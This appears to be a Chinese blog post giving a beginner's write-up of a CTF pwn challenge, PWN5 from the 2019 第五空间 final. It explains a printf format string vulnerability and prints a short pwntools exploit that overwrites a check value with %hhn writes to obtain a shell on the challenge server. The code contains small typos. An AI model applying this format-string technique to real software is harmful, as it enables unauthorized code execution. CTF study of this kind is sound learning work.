[第五空间2019 决赛]PWN5_new

Posted on 2025-04-23 22:02  nnnnoob  阅读(90)  评论(0)    收藏  举报

作为初学者在做这题的时候,看别人的wp也是痛不欲生,百思不得其解,因此我做出了艰难的决定,我来写一篇自认为更加明确细致的wp

首先checksec

32位,Canaryfound,nx enabled,说明常规的栈溢出不能解决问题,那我们先来看一下ida里的伪代码

这段伪代码的大概意思是,从/dev/urandom文件中取出长度为4个字节的数,然后我们作为用户再去输入4个字节的数,与其比较,相同则调用shell

这里的read()函数也不存在溢出问题

解题的思路是:格式化字符串漏洞

有关这个漏洞的详细说明可以看这个:CTFer成长日记11:格式化字符串漏洞的原理与利用 - 知乎

由浅入深了解格式化字符串漏洞 - FreeBuf网络安全行业门户

回归到本题,我们需要利用printf()这个函数,向dword_801c044这个函数覆盖新的数据,也就是重写成我们知道的nptr,从而通过验证函数调用shell

在ida中,我们可以知道dword函数的直至是0x804c044,因为read()函数是读取4个长度大小的数据,一个地址放一个数据,因此dword的空间就是0x804c044到047

再来看一下printf(buf)中,buf实际存储的位置

这里使用pwmdbg或者利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… "

这里的AAAA是第10个 因为A的ascii码是41

也就是说buf在printf()地址里的第十个位置

所以我们要先将buf覆盖为dword的地址,修改里面的数据,再输入nptr进行验证

构造exp:

From pwn import *

P = remote('node5.buuoj.cn',27599)

Payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047) + b’%10hhn%11hhn%12hhn%13hhn’

P.sendline(payload)

P.sendline(str(0x10101010))

P.interactive()

 

# %hhn( 向指定地址写入已输出的字符数的低8位),%khhn(向第k位地址写入输出的字符数的低八位),%10hhn等分别向0x804c044写入数据

# 像printf(“aaaa%10n”),会输出aaaa并且向0x804c044写入4这个数据(在这个exp里)

#我们想printf(buf),这里的buf的参数修改为0x804c044到047总共四个地址,一个地址4个字节长,总共16个字节长,%10hhn则向第十位写入这个长度也就是16,也就是0x10,往后的同理,所以0x804c044到047的数据连起来位0x10101010,转成十进制就是269488144,此时用于验证的dword就是这个数值,我们只需要传入269488144或者将0x10101010传入,就能够通过验证了。

 

总结:

通过printf()的格式化字符串漏洞,将buf的地址覆盖为dword函数的地址,再利用%khhn,将数值写入到dword地址中,实现dowrd地址内的值的改写,达到修改验证值的目的

博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3